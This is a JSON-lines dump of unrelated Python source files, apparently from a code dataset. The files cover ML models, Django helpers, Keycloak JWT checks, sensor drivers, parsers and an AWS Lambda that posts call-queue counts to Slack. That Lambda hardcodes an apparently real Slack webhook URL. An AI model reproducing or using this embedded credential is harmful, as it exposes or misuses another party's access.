'cls',\n # args.cp_path.split('/')[-2],\n # cp_name.split('_')[-2] + cp_name.split('_')[-1])\n print(save_path)\n print('If you have done to confirm save_path, please push enter')\n input()\n os.makedirs(save_path, exist_ok=True)\n\n for data, rnd in tqdm(zip(loader, random_loader), total=len(sep_data) // bs):\n batch = data[0].to('cuda')\n # r_batch = rnd[0].to('cuda')\n # c_batch = rnd[1].to('cuda')\n # r_cls = c_batch\n # c_batch = F.one_hot(c_batch, args.num_classes).float()\n for i in range(bs):\n with torch.no_grad():\n ref_labels_expand = torch.cat([onehot[i]] * bs).view(-1, args.num_classes)\n out = transfer(batch, ref_labels_expand)\n\n c_preds = torch.argmax(classifer(out).detach(), 1)\n r_cls = torch.argmax(ref_labels_expand, 1)\n\n cls_li.append(torch.cat([r_cls.int().cpu().view(r_cls.size(0), -1),\n c_preds.int().cpu().view(c_preds.size(0), -1)], 1))\n\n # cls_li.append(torch.cat([r_cls.int().cpu().view(r_cls.size(0), -1),\n # c_preds.int().cpu().view(c_preds.size(0), -1)], 1))\n\n all_res = torch.cat(cls_li, 0).numpy()\n y_true, y_pred = (all_res[:, 0], all_res[:, 1])\n table = classification_report(y_true, y_pred)\n print(table)\n\n matrix = confusion_matrix(y_true, y_pred, labels=np.arange(len(s_li)))\n df = pd.DataFrame(data=matrix, index=s_li, columns=s_li)\n df.to_pickle(os.path.join(save_path, 'cm.pkl'))\n\n sns.set(font_scale=1.5)\n plot = sns.heatmap(df, square=True, annot=True, annot_kws={'size': 20}, fmt='d', vmax=500)\n fig = plot.get_figure()\n fig.savefig(os.path.join(save_path, 'cm.png'))\n","sub_path":"eval/eval_class_transfer.py","file_name":"eval_class_transfer.py","file_ext":"py","file_size_in_byte":5287,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"654351563","text":"from six.moves import xrange\nimport better_exceptions\nimport tensorflow as tf\nimport numpy as np\nfrom commons.ops import *\n\ndef _mnist_arch(d):\n with tf.variable_scope('enc') as enc_param_scope :\n enc_spec = [\n Conv2d('conv2d_1',1,d//4,data_format='NHWC'),\n lambda t,**kwargs : tf.nn.relu(t),\n Conv2d('conv2d_2',d//4,d//2,data_format='NHWC'),\n lambda t,**kwargs : tf.nn.relu(t),\n Conv2d('conv2d_3',d//2,d,data_format='NHWC'),\n lambda t,**kwargs : tf.nn.relu(t),\n ]\n with tf.variable_scope('dec') as dec_param_scope :\n dec_spec = [\n TransposedConv2d('tconv2d_1',d,d//2,data_format='NHWC'),\n lambda t,**kwargs : tf.nn.relu(t),\n TransposedConv2d('tconv2d_2',d//2,d//4,data_format='NHWC'),\n lambda t,**kwargs : tf.nn.relu(t),\n TransposedConv2d('tconv2d_3',d//4,1,data_format='NHWC'),\n lambda t,**kwargs : tf.nn.sigmoid(t),\n ]\n return enc_spec,enc_param_scope,dec_spec,dec_param_scope\n\ndef _cifar10_arch(d):\n def _residual(t,conv3,conv1):\n return conv1(tf.nn.relu(conv3(tf.nn.relu(t))))+t\n from functools import partial\n\n with tf.variable_scope('enc') as enc_param_scope :\n enc_spec = [\n Conv2d('conv2d_1',3,d,data_format='NHWC'),\n lambda t,**kwargs : tf.nn.relu(t),\n Conv2d('conv2d_2',d,d,data_format='NHWC'),\n lambda t,**kwargs : tf.nn.relu(t),\n partial(_residual,\n conv3=Conv2d('res_1_3',d,d,3,3,1,1,data_format='NHWC'),\n conv1=Conv2d('res_1_1',d,d,1,1,1,1,data_format='NHWC')),\n partial(_residual,\n conv3=Conv2d('res_2_3',d,d,3,3,1,1,data_format='NHWC'),\n conv1=Conv2d('res_2_1',d,d,1,1,1,1,data_format='NHWC')),\n ]\n with tf.variable_scope('dec') as dec_param_scope :\n dec_spec = [\n partial(_residual,\n conv3=Conv2d('res_1_3',d,d,3,3,1,1,data_format='NHWC'),\n conv1=Conv2d('res_1_1',d,d,1,1,1,1,data_format='NHWC')),\n partial(_residual,\n conv3=Conv2d('res_2_3',d,d,3,3,1,1,data_format='NHWC'),\n conv1=Conv2d('res_2_1',d,d,1,1,1,1,data_format='NHWC')),\n TransposedConv2d('tconv2d_1',256,256,data_format='NHWC'),\n lambda t,**kwargs : tf.nn.relu(t),\n TransposedConv2d('tconv2d_2',256,3,data_format='NHWC'),\n lambda t,**kwargs : tf.nn.sigmoid(t),\n ]\n return enc_spec,enc_param_scope,dec_spec,dec_param_scope\n\nclass VQVAE():\n def __init__(self,lr,global_step,beta,\n x,K,D,\n arch_fn,\n param_scope,is_training=False):\n with tf.variable_scope(param_scope):\n enc_spec,enc_param_scope,dec_spec,dec_param_scope = arch_fn(D)\n with tf.variable_scope('embed') :\n embeds = tf.get_variable('embed', [K,D],\n initializer=tf.truncated_normal_initializer(stddev=0.02))\n\n with tf.variable_scope('forward') as forward_scope:\n # Encoder Pass\n _t = x\n for block in enc_spec :\n _t = block(_t)\n z_e = _t\n\n # Middle Area (Compression or Discretize)\n # TODO: Gross.. use brodcast instead!\n _t = tf.tile(tf.expand_dims(z_e,-2),[1,1,1,K,1]) #[batch,latent_h,latent_w,K,D]\n _e = tf.reshape(embeds,[1,1,1,K,D])\n _t = tf.norm(_t-_e,axis=-1)\n k = tf.argmin(_t,axis=-1) # -> [latent_h,latent_w]\n z_q = tf.gather(embeds,k)\n\n self.z_e = z_e # -> [batch,latent_h,latent_w,D]\n self.k = k\n self.z_q = z_q # -> [batch,latent_h,latent_w,D]\n\n # Decoder Pass\n _t = z_q\n for block in dec_spec:\n _t = block(_t)\n self.p_x_z = _t\n\n # Losses\n self.recon = tf.reduce_mean((self.p_x_z - x)**2,axis=[0,1,2,3])\n self.vq = tf.reduce_mean(\n tf.norm(tf.stop_gradient(self.z_e) - z_q,axis=-1)**2,\n axis=[0,1,2])\n self.commit = tf.reduce_mean(\n tf.norm(self.z_e - tf.stop_gradient(z_q),axis=-1)**2,\n axis=[0,1,2])\n self.loss = self.recon + self.vq + beta * self.commit\n\n # NLL\n # TODO: is it correct impl?\n # it seems tf.reduce_prod(tf.shape(self.z_q)[1:2]) should be multipled\n # in front of log(1/K) if we assume uniform prior on z.\n self.nll = -1.*(tf.reduce_mean(tf.log(self.p_x_z),axis=[1,2,3]) + tf.log(1/tf.cast(K,tf.float32)))/tf.log(2.)\n\n if( is_training ):\n with tf.variable_scope('backward'):\n # Decoder Grads\n decoder_vars = tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES,dec_param_scope.name)\n decoder_grads = list(zip(tf.gradients(self.loss,decoder_vars),decoder_vars))\n # Encoder Grads\n encoder_vars = tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES,enc_param_scope.name)\n grad_z = tf.gradients(self.recon,z_q)\n encoder_grads = [(tf.gradients(z_e,var,grad_z)[0]+beta*tf.gradients(self.commit,var)[0],var)\n for var in encoder_vars]\n # Embedding Grads\n embed_grads = list(zip(tf.gradients(self.vq,embeds),[embeds]))\n\n optimizer = tf.train.AdamOptimizer(lr)\n self.train_op= optimizer.apply_gradients(decoder_grads+encoder_grads+embed_grads,global_step=global_step)\n else :\n # Another decoder pass that we can play with!\n self.latent = tf.placeholder(tf.int64,[None,3,3])\n _t = tf.gather(embeds,self.latent)\n for block in dec_spec:\n _t = block(_t)\n self.gen = _t\n\n save_vars = {('train/'+'/'.join(var.name.split('/')[1:])).split(':')[0] : var for var in\n tf.get_collection(tf.GraphKeys.GLOBAL_VARIABLES,param_scope.name) }\n #for name,var in save_vars.items():\n # print(name,var)\n\n self.saver = tf.train.Saver(var_list=save_vars,max_to_keep = 3)\n\n def save(self,sess,dir,step=None):\n if(step is not None):\n self.saver.save(sess,dir+'/model.ckpt',global_step=step)\n else :\n self.saver.save(sess,dir+'/last.ckpt')\n\n def load(self,sess,model):\n self.saver.restore(sess,model)\n\n\nif __name__ == \"__main__\":\n with tf.variable_scope('params') as params:\n pass\n\n x = tf.placeholder(tf.float32,[None,32,32,3])\n global_step = tf.Variable(0, trainable=False)\n\n net = VQVAE(0.1,global_step,0.1,x,20,256,_cifar10_arch,params,True)\n\n init_op = tf.group(tf.global_variables_initializer(),\n tf.local_variables_initializer())\n\n config = tf.ConfigProto()\n config.gpu_options.allow_growth = True\n sess = tf.Session(config=config)\n sess.graph.finalize()\n sess.run(init_op)\n\n print(sess.run(net.train_op,feed_dict={x:np.random.random((10,32,32,3))}))\n\n","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":7182,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"261090620","text":"from django import template\nregister = template.Library()\n\n@register.simple_tag(takes_context=True)\ndef is_active_href(context, href, **kwargs):\n\t'''\n\t\t- Tag. Determine is the href is active path, a subpath or different.\n\t'''\n\toptions = {\n\t\t'equal': 'active',\n\t\t'different': 'different',\n\t\t'sub_path': 'active'\n\t}\n\tif not context.has_key('request'):\n\t\treturn 'none'\n\tpath = context['request'].get_full_path()\n\tif path == '' and href == '/':\n\t\treturn options['active']\n\tif path == href:\n\t\treturn options['equal']\n\telse:\n\t\tif href.startswith(path) and path != '/':\n\t\t\treturn options['sub_path']\n\t\telse:\n\t\t\treturn options['different']\n\t\t\t\n\t\t\t\n@register.filter()\ndef truncatechars(value, arg):\n \"\"\"\n Truncates a string after a certain number of chars.\n\n Argument: Number of chars to truncate after.\n \"\"\"\n value = str(value)\n try:\n length = int(arg)\n except ValueError: # Invalid literal for int().\n return value # Fail silently.\n if len(value) > length:\n return value[:length] + '...'\n return value\n","sub_path":"core/templatetags/core_tags.py","file_name":"core_tags.py","file_ext":"py","file_size_in_byte":1043,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"399956747","text":"import sys\n\ninput = sys.stdin.readline\n\n\ndef getInput():\n initstr = input().strip()\n count = int(input())\n operation = []\n for _ in range(count):\n operation.append(input().strip().split(\" \"))\n return initstr, operation\n\n\ndef solution():\n initStr, operation = getInput()\n arr = list(initStr)\n stack = []\n for i in operation:\n if i[0] == \"L\":\n if arr:\n stack.append(arr.pop())\n elif i[0] == \"D\":\n if stack:\n arr.append(stack.pop())\n elif i[0] == \"B\":\n if arr:\n arr.pop()\n elif i[0] == \"P\":\n arr.append(i[1])\n print(\"\".join(arr + stack[::-1]))\n\n\nsolution()\n","sub_path":"python/data_structure/stack/1406.py","file_name":"1406.py","file_ext":"py","file_size_in_byte":708,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"71111891","text":"import jwt\nimport json\nimport datetime\n\nfrom tornado import httpclient\nfrom jwt.algorithms import RSAAlgorithm\nfrom urllib.parse import urlencode\n\n# Authentication data key\nAUTH_DATA = 'auth_data'\n\n\ndef authenticated(handler_class):\n \"\"\" Handle Tornado HTTP Bearer authentication using keycloak\n This decorator can be used on class like the following sample:\n @authenticated\n class MainHandler(factornado.RequestHandler):\n def get(self):\n self.write('Only authenticated')\n \"\"\"\n def wrap_execute(handler_execute):\n def _execute(self, transforms, *args, **kwargs):\n if not _check_auth(self, kwargs):\n return False\n return handler_execute(self, transforms, *args, **kwargs)\n\n return _execute\n\n handler_class._execute = wrap_execute(handler_class._execute)\n return handler_class\n\n\ndef roles(roles=None, clientId=None):\n \"\"\" Function decorator to check user role and allow access\n Combinate with the authentication decorator,\n this decorator can be used on method like the following sample:\n @authenticated\n class MainHandler(factornado.RequestHandler):\n @roles('admin')\n def get(self):\n self.write('Only admin users')\n By default, realm roles are checked\n If you want client roles don't forget to specify sso_client_id in the config\n \"\"\"\n def decorator(func):\n def decorated(self, *args, **kwargs):\n auth_data = self.request.headers.get(AUTH_DATA)\n\n if auth_data is None:\n return _unauthorized(401, self)\n\n user_realm_roles = auth_data['realm_access']['roles']\n # Check role if necessary\n if roles is not None and not _checkRole(user_realm_roles, roles):\n clientId = self.application.config['sso']['clientId']\n if clientId is not None and auth_data['resource_access'][clientId] is not None:\n user_client_roles = auth_data['resource_access'][clientId]['roles']\n if not _checkRole(user_client_roles, roles):\n return _unauthorized(403, self)\n else:\n return _unauthorized(403, self)\n\n return func(self, *args, **kwargs)\n return decorated\n return decorator\n\n\ndef get_token(application):\n \"\"\" Use SSO server to get JWT token\n Take care, to get a new token, service need to be declare in sso\n as confidential client with direct access grants enabled\n\n In final service, the following sample allow to create a new token\n and call other service with it :\n\n from factornado.authentication import get_token\n ...\n token = get_token(application)\n request = httpclient.HTTPRequest(\n url,\n method='POST',\n headers={'Authorization': 'bearer {}'.format(token)},\n body=(parameters)\n )\n \"\"\"\n sso = application.config['sso']\n if not sso:\n return None\n\n # Check if a token exists and verify validity\n token = application.config.get('token', None)\n now = datetime.datetime.now().timestamp()\n if (token is not None and jwt.decode(token, verify=False)['exp'] > now):\n return token\n else:\n url = '{}realms/{}/protocol/openid-connect/token'.format(sso['url'], sso['realm'])\n parameters = urlencode({\n 'grant_type': 'client_credentials',\n 'client_id': sso['client_id'],\n 'client_secret': sso['client_secret']\n })\n application.logger.debug(\n '[SSO] Get token on {} for client : {} '.format(url, sso['client_id'])\n )\n # Retrieve token using client credentials\n request = httpclient.HTTPRequest(\n url,\n method='POST',\n headers={'Content-Type': 'application/x-www-form-urlencoded'},\n body=(parameters)\n )\n response = httpclient.HTTPClient().fetch(request, raise_error=False)\n\n if response.code == 200:\n token = json.loads(response.body.decode('utf-8'))['access_token']\n application.config['token'] = token\n else:\n token = None\n httpclient.HTTPClient().close()\n\n return token\n\n\ndef _unauthorized(code, handler):\n \"\"\" Return a HTTP error \"\"\"\n handler.set_status(code)\n handler._transforms = []\n handler.write(\"Unauthorized\" if code == 401 else \"Forbidden\")\n handler.finish()\n\n return False\n\n\ndef _check_auth(handler, kwargs):\n \"\"\" Check authentication using bearer and sso server \"\"\"\n # Check if bearer is present in authorization header\n header = handler.request.headers.get('Authorization')\n sso = handler.application.config['sso']\n\n if header is None or not header.lower().startswith('bearer ') or not sso:\n return _unauthorized(401, handler)\n\n # Retrieve JWK from server\n # JWK contains public key that is used for decode JWT token\n # Only keycloak server know private key and can generate tokens\n # For more flexibility it possible to use .weel-known url\n # to retrieve all realm openid configuration\n # /auth/realms/fleetscience/.well-known/openid-configuration\n bearer = header.split(' ')[1]\n\n try:\n handler.application.logger.debug(\n '[SSO] Check authentication for realm {}'.format(sso['realm'])\n )\n request = httpclient.HTTPRequest(\n '{}realms/{}/protocol/openid-connect/certs'.format(sso['url'], sso['realm']),\n method='GET',\n )\n response = httpclient.HTTPClient().fetch(request, raise_error=False)\n if response.code == 200:\n jwk = json.loads(response.body.decode('utf-8'))\n public_key = RSAAlgorithm.from_jwk(json.dumps(jwk['keys'][0]))\n auth_data = jwt.decode(bearer,\n public_key,\n algorithms=jwk['keys'][0]['alg'],\n options={'verify_aud': False})\n httpclient.HTTPClient().close()\n else:\n httpclient.HTTPClient().close()\n return _unauthorized(401, handler)\n\n except jwt.ExpiredSignatureError:\n return _unauthorized(401, handler)\n\n # Store connected authentication data in the handler\n handler.request.headers.add(AUTH_DATA, auth_data)\n\n return True\n\n\ndef _checkRole(user_roles, roles):\n \"\"\" Check given role is inside or equals to user roles \"\"\"\n if user_roles is None:\n return False\n # Roles is a list not a single element\n if isinstance(roles, list):\n found = False\n for r in roles:\n if r in user_roles:\n found = True\n break\n\n return found\n\n # Role is a single string\n else:\n return roles in user_roles\n\n return False\n","sub_path":"factornado/authentication.py","file_name":"authentication.py","file_ext":"py","file_size_in_byte":6891,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"513184078","text":"import time\nimport sys\nimport re\nfrom pandas import Series, DataFrame\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom numpy.random import randn\nimport numpy as np\nimport json\nglobal bad_line\nbad_line = 0\nglobal all_line\nall_line = 0\ndef payerror():\n def timestamp_to_time(timestamp, format = \"%Y-%m-%d %H:%M:%S\"):\n time_local = time.localtime(int(timestamp/1000))\n return time.strftime(format, time_local)\n \n def decode_line(line):\n global bad_line\n global all_line\n all_line += 1\n m = re.search(\"\\{[^}]*?\\}\", line)\n if m == None:\n bad_line += 1\n return\n json_str = m.group(0)\n try:\n obj = json.loads(json_str, strict=False)\n obj[\"error_time\"] = timestamp_to_time(obj[\"error_time\"], \"%Y-%m-%d %H\")\n return obj\n except Exception as err:\n print(err)\n bad_line += 1\n path = \"c:/Users/chengxueming/Desktop/InBox/myfile/speakWordError09.log\"\n records = [decode_line(line) for line in open(path, \"r\", encoding = 'utf-8')]\n records = [record for record in records if record != None]\n print(\"end with bad line %d all line %d\" % (bad_line, all_line))\n df = pd.DataFrame(records)\n df.groupby([\"error_time\"]).clientInt.sum().plot(kind=\"line\")\n print(df)\n \n","sub_path":"language/python/20170902_pandas/matplotlib/error_report.py","file_name":"error_report.py","file_ext":"py","file_size_in_byte":1335,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"263502551","text":"# -*- coding: utf-8 -*-\n\"\"\"\nFaça um Programa que verifique se uma letra digitada é vogal ou consoante.\n\n\"\"\"\nl = str(input(\"Digite uma letra: \\n\").lower())\nif l == \"a\" or l== \"e\" or l== \"i\" or l==\"o\" or l== \"u\":\n print(\"A letra \",l ,\" é uma vogal!!!\")\nelse:\n print(\"A letra \",l ,\" é uma consoante!!!\")","sub_path":"EstruturaDeDecisao/EstruturaDeDecisao_4.py","file_name":"EstruturaDeDecisao_4.py","file_ext":"py","file_size_in_byte":310,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"435629374","text":"class Square(object):\n '''\n Each square on the board will persist even when dead. Dead squares will appear as white,\n and can come back to life. Squares are pushed to a Numpy array in the board class.\n Each square has a canvas_shape property, which is the canvas element to update the colour\n of.\n '''\n\n def __init__(self, x, y, is_alive):\n self.x = x\n self.y = y\n self.is_alive = is_alive\n self.will_be_alive = is_alive\n self.neighbour_count = 0\n self.canvas_shape = None\n\n","sub_path":"application/squares.py","file_name":"squares.py","file_ext":"py","file_size_in_byte":537,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"583288348","text":"import boto3\nimport json\nimport logging\nimport os\nfrom datetime import datetime\nfrom datetime import timedelta\n\nfrom base64 import b64decode\nfrom urllib.request import Request, urlopen\nfrom urllib.error import URLError, HTTPError\n\n\n\n# The Slack channel to send a message to stored in the slackChannel environment variable\nSLACK_CHANNEL = os.environ['slackChannel']\n\nHOOK_URL = 'https://hooks.slack.com/services/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'\n\n\nlogger = logging.getLogger()\nlogger.setLevel(logging.INFO)\n\n\ndef lambda_handler(event, context):\n client = boto3.client('cloudwatch', region_name = 'us-east-1')\n currentTime = datetime.now()\n input = json.loads(event['Records'][0]['Sns']['Message'])\n instanceID = input['Trigger']['Dimensions'][0]['value']\n queueName = input['Trigger']['Dimensions'][2]['value']\n metricData = client.get_metric_data(\n MetricDataQueries=[\n {\n 'Id': 'numberOfCalls',\n 'MetricStat': {\n 'Metric': {\n 'Namespace': 'AWS/Connect',\n 'MetricName': 'QueueSize',\n 'Dimensions': [\n {\n 'Name': 'InstanceId', \n 'Value': instanceID\n }, \n {\n 'Name': 'MetricGroup', \n 'Value': 'Queue'\n }, \n {\n 'Name': 'QueueName', \n 'Value': queueName\n },\n ]\n },\n 'Period': 300,\n 'Stat': 'Maximum',\n 'Unit': 'Count'\n },\n 'Label': 'Retrieves the number of MiWorkspace calls in queue',\n 'ReturnData': True\n },\n ],\n # datetime(year, month, day, hour, minute, second, microsecond)\n StartTime=(datetime.now() - timedelta(minutes=10)),\n EndTime=datetime.now(),\n ScanBy='TimestampDescending'\n )\n queueSize = int(metricData['MetricDataResults'][0]['Values'][0])\n slack_message = {\n 'channel': SLACK_CHANNEL,\n 'text': 'There are currently ' + str(queueSize) + ' calls waiting in the ' + queueName + ' queue'\n }\n \n req = Request(HOOK_URL, json.dumps(slack_message).encode('utf-8'))\n try:\n response = urlopen(req)\n response.read()\n logger.info('Message posted to %s', slack_message['channel'])\n except HTTPError as e:\n logger.error('Request failed: %d %s', e.code, e.reason)\n except URLError as e:\n logger.error('Server connection failed: %s', e.reason)\n ","sub_path":"cloudwatchToSlackNumCalls.py","file_name":"cloudwatchToSlackNumCalls.py","file_ext":"py","file_size_in_byte":2697,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"418105678","text":"from machine import I2C\nfrom machine import Pin\nimport time\nimport ads1115\nimport math\n# D12 pin for the pre-heating element\nPIN_HEATING_NO2 = 12\n\n\nRED_SENSOR_CH = 1 #CO, Ammonia, H2S, Ethanol, Hydrogen...\nOX_SENSOR_CH = 0 #NO2, NO, Hydrogen\nADC_RATE = 4\n\nCALIB_R0_NO2 = 22000 #R0 calibration value for the NO2 sensor\nCALIB_R0_CO = 47000 #R0 calibration value for the CO sensor\n\nclass MICS4514:\n def __init__(self, i2c):\n self.i2c = i2c\n self.adc = ads1115.ADS1115(i2c)\n self.heating_pin = Pin(PIN_HEATING_NO2, Pin.OUT)\n self.red_val = 0\n self.ox_val = 0\n\n def preHeaterON(self):\n self.heating_pin.on()\n\n def preHeaterOFF(self):\n self.heating_pin.off()\n\n def volt_RED(self):\n value = self.adc.read(ADC_RATE, RED_SENSOR_CH)\n volts = (value * 3.3) / 32768 # 2^15, max V is 3.3\n return volts\n\n def volt_OX(self):\n value = self.adc.read(ADC_RATE, OX_SENSOR_CH)\n volts = (value * 3.3) / 32768 # 2^15, max V is 3.3\n return volts\n\n def read_RED(self):\n value = self.adc.read(ADC_RATE, RED_SENSOR_CH)\n volts = (value * 3.3) / 32768 # 2^15, max V is 3.3\n fRes = (3.3 - volts) / volts\n\n #values measured from graph\n k = 0.5440680444\n m = -0.8480226815\n\n log_val = math.log(fRes) / math.log(10) #equivalent to log10\n\n #converts straight line from datasheet to equation\n conc = 10 ** ((log_val - k) / m)\n\n return conc\n\n\n\n def read_OX(self):\n value = self.adc.read(ADC_RATE, OX_SENSOR_CH)\n volts = (value * 3.3) / 32768 # 2^15, max V is 3.3\n fRes = (3.3 - volts) / volts\n\n #values measured from graph\n k = 0.7403626895\n m = 0.99673\n\n log_val = math.log(fRes) / math.log(10) #equivalent to log10\n\n #converts straight line from datasheet to equation\n conc = 10 ** ((log_val - k) / m)\n\n return conc\n","sub_path":"src/combined/mics4514.py","file_name":"mics4514.py","file_ext":"py","file_size_in_byte":1940,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"308262814","text":"def isValid(s):\n if len(s)==0:\n return True\n\n s1=[]\n dic={')':'(',']':'[','}':'{'}\n\n for i in s:\n if i=='(' or i=='[' or i=='{':\n s1.append(i)\n\n else:\n if len(s1)==0:\n return False\n\n else:\n c1=s1.pop()\n\n if dic[i]!=c1:\n return False\n\n if len(s1)==0:\n return True\n else:\n return False\n","sub_path":"LeetCode/Valid_Parentheses.py","file_name":"Valid_Parentheses.py","file_ext":"py","file_size_in_byte":434,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"468396244","text":"# -*- coding: utf-8 -*-\n\n# Import from the Standard Library\nimport os\n\n# Import from django\nfrom django.conf.urls import patterns, include, url\nfrom django.conf import settings\nfrom django.views.generic import TemplateView\n\n# Uncomment the next two lines to enable the admin:\nfrom django.contrib import admin\nadmin.autodiscover()\n\n\nurlpatterns = patterns('',\n #url(r'^admin/doc/', include('django.contrib.admindocs.urls')), # Cause troubles with docutils usage like with codemirror\n url(r'^admin/', include(admin.site.urls)),\n)\n\n# Mods system\nPROJECT_PATH = os.path.abspath(os.path.dirname(__file__))\nmods = os.path.join(PROJECT_PATH, 'mods_enabled')\nmods = [ os.path.join(mods, x) for x in os.listdir(mods) ]\nmods.sort()\nfor mod in mods:\n mod = os.path.join(mod, 'urls.py')\n if os.path.isfile(mod):\n execfile(mod)\n\n# Debug\nif settings.DEBUG:\n urlpatterns = patterns('',\n url(r'^media/(?P.*)$', 'django.views.static.serve',\n {'document_root': settings.MEDIA_ROOT, 'show_indexes': True}),\n url(r'^500/$', TemplateView.as_view(template_name=\"500.html\")),\n url(r'^404/$', TemplateView.as_view(template_name=\"404.html\")),\n url(r'', include('django.contrib.staticfiles.urls')),\n ) + urlpatterns\n","sub_path":"emencia_paste_djangocms_3/django_buildout/project/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1260,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"268397966","text":"import datetime\nfrom firebase import firebase\n\nfirebase = firebase.FirebaseApplication('https://hvccare-5b4bc.firebaseio.com/')\n\nnow = datetime.datetime.today().strftime(\"%Y-%m-%d %H:%M:%S\")\n\nprint(now)\n#date = \"\"+str(now.year)+\"-\"+str(now.month)+\"-\"+str(now.day)+\" \"+str(now.hour)+\":\"+str(now.minute)+\":\"+str(now.second)\n\nresult = firebase.put('Realtime_Data',now,{'Date':now,'Measured_Temp_C':29,'Measured_Humidity':60,'Measured_PHLevel': 7})\n\nprint(result)\n\n","sub_path":"PD-master/firebasePUTwithTIME.py","file_name":"firebasePUTwithTIME.py","file_ext":"py","file_size_in_byte":461,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"514853198","text":"from django.shortcuts import render\nfrom django.views import generic\nfrom . import mixins\n\n# Create your views here.\n\n\nclass MonthCalendar(mixins.MonthCalendarMixin, generic.TemplateView):\n \"\"\"月間カレンダーを表示するビュー\"\"\"\n template_name = 'calender/month.html'\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n calendar_context = self.get_month_calendar()\n context.update(calendar_context)\n print('context is')\n print(context)\n return context\n","sub_path":"mysite/myapps/calender/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":551,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"43245885","text":"from recursive_descent_parser import RecursiveDescentParser\nfrom grammar_engine import GrammarEngine\n\nclass IslandParser:\n def __init__(self, grammar, verbose = False):\n self.parser = RecursiveDescentParser(grammar = grammar, verbose = verbose)\n self.grammar = grammar\n self.partial_parses = list()\n\n def parse(self, string):\n '''\n Basic idea\n 1. take out the unparsable parts (not stored as terminals in the grammar)\n 2. create a list of substrings which consist of terminals only\n 3. call parse_substring() to parse each substring\n '''\n # split the input string into tokens\n fragments = string.split()\n\n # create a list of all symbols appear in the right-hand side of the grammar\n symbol_set = []\n for symbol in self.grammar.grammar.values():\n for rule in symbol.rules:\n for token in rule.body:\n if type(token) == str:\n symbol_set.append(token)\n\n length = len(fragments)\n number = 0\n subset = []\n valid_set = []\n # check each token and see if it appears in the grammar\n while length > number:\n # if the current token is valid, append it to a subset so that we can keep the adjecent valid tokens together\n if fragments[number] in symbol_set:\n subset.append(fragments[number])\n # if the current token is not valid, check if the subset has some tokens already and append the non-empty subset to the valid_set\n elif len(subset) > 0:\n valid_set.append(subset)\n subset = []\n # move on to the next token\n number += 1\n for sets in valid_set:\n print(sets)\n \n # convert the sub_set inside the valid_set into string and store it in the substring_set\n substring_set = []\n for item in valid_set:\n substring = \"\"\n sub_string = \" \".join(item)\n substring_set.append(sub_string)\n\n # parse each string in substring_set\n for string in substring_set:\n self.parse_substring(string)\n \n # return the list of partial parses sorted in descending order of length\n self.partial_parses.sort(key = lambda x: len(x), reverse = True)\n return self.partial_parses\n\n def parse_substring(self, sub_string):\n '''\n Basic idea \n 1. fragment the string\n 2. attempt to parse this string \n 3. if there is a successful parse, check this partial parse is a subset of some parse, if yes, discard, if no keep\n '''\n \n # split the input string into tokens\n fragments = sub_string.split()\n # length of the substring\n length = len(sub_string)\n\n # while the length of the substring is greater than or equal to 1\n while length >= 1:\n start = 0\n while start <= len(fragments) - length:\n # get the substring\n substring = \" \".join(fragments[start:start + length])\n # parse the substring\n for symbol in self.grammar.grammar.keys(): # try out all symbols\n result = self.parser.parse(string = substring, start_symbol_name = symbol)\n parse_already_exists = False\n # if the result is not None, that means there was a successful parse\n if result != None:\n # check if the result is a subset of some other partial parse\n for parse in self.partial_parses:\n if result in parse:\n parse_already_exists = True\n # if it's not a subset of any of the existing parses, add it to the list\n if not parse_already_exists:\n self.partial_parses.append(result)\n # move the window\n start += 1\n # decrease the length of the expected substring\n length -= 1\n \n\nif __name__ == \"__main__\":\n grammar = GrammarEngine(\"component4.txt\").grammar\n parser = IslandParser(grammar = grammar, verbose = False)\n string = \"Hello, I am Yemi, a senior CS major. I live in Cassat. A usual day looks like this for me: I wake up at 11 and go to work after having ramen for breakfast. After that, I drop my stuff in Cassat, have lunch in LDC, and then work in Little Joy.\" \n print(parser.parse(string = string))","sub_path":"Parsing/island_parser.py","file_name":"island_parser.py","file_ext":"py","file_size_in_byte":4048,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"85377083","text":"from django import template\nfrom django.template import Variable, VariableDoesNotExist\nfrom django.template.loader import get_template\n\nfrom ..util import get_field_type\n\n\nregister = template.Library()\n\n\n@register.simple_tag\ndef setattr(field, attribute, value=\"\"):\n \"\"\"\n Sets an attribute on a form field.\n\n Example Usage::\n\n {% setattr form.myfield \"placeholder\" \"Email Address\" %}\n \"\"\"\n if not hasattr(field, \"field\"):\n return \"\"\n\n if attribute == \"type\":\n field.field.widget.input_type = value\n elif attribute == \"label\":\n field.field.label = value\n elif attribute == \"initial\":\n field.field.initial = value\n elif attribute == \"classes\":\n cls = field.field.widget.attrs.get(\"class\", \"\")\n cls += \" %s\" % value\n field.field.widget.attrs[\"class\"] = cls.strip()\n else:\n field.field.widget.attrs.update({\n attribute: value,\n 